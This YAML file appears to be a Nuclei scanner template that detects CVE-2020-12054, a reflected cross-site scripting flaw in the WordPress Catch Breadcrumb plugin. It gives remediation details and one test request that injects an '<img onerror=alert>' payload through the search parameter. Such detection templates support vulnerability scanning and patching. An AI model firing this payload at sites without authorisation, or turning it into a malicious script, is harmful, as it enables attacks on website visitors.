id: CVE-2020-12054

info:
  name: WordPress Catch Breadcrumb <1.5.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress Catch Breadcrumb plugin before 1.5.4 contains a reflected cross-site scripting vulnerability via the s parameter (a search query). Also affected are 16 themes if the plugin is enabled: Alchemist and Alchemist PRO, Izabel and Izabel PRO, Chique and Chique PRO, Clean Enterprise and Clean Enterprise PRO, Bold Photography PRO, Intuitive PRO, Devotepress PRO, Clean Blocks PRO, Foodoholic PRO, Catch Mag PRO, Catch Wedding PRO, and Higher Education PRO.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of WordPress Catch Breadcrumb plugin (1.5.4 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/30a83491-2f59-4c41-98bd-a9e6e5a609d4
    - https://wpvulndb.com/vulnerabilities/10184
    - https://cxsecurity.com/issue/WLB-2020040144
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12054
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-12054
    cwe-id: CWE-79
    epss-score: 0.00129
    epss-percentile: 0.47703
    cpe: cpe:2.3:a:catchplugins:catch_breadcrumb:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: catchplugins
    product: catch_breadcrumb
    framework: wordpress
  tags: cve,cve2020,wordpress,xss,wp-plugin,wpscan,catchplugins

http:
  - method: GET
    path:
      - '{{BaseURL}}/?s=%3Cimg%20src%3Dx%20onerror%3Dalert%28123%29%3B%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(123);>"
          - "catch-breadcrumb"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402205d856da90bbc9182133676ecb51776bc8949853dcba1be49b71c7fd06f7d1ffd02206485aa722b198c4634410fe77c1f3a3ae7d6292ca36328874df5f425d13def4f:922c64590222798bb761d5b6d8e72950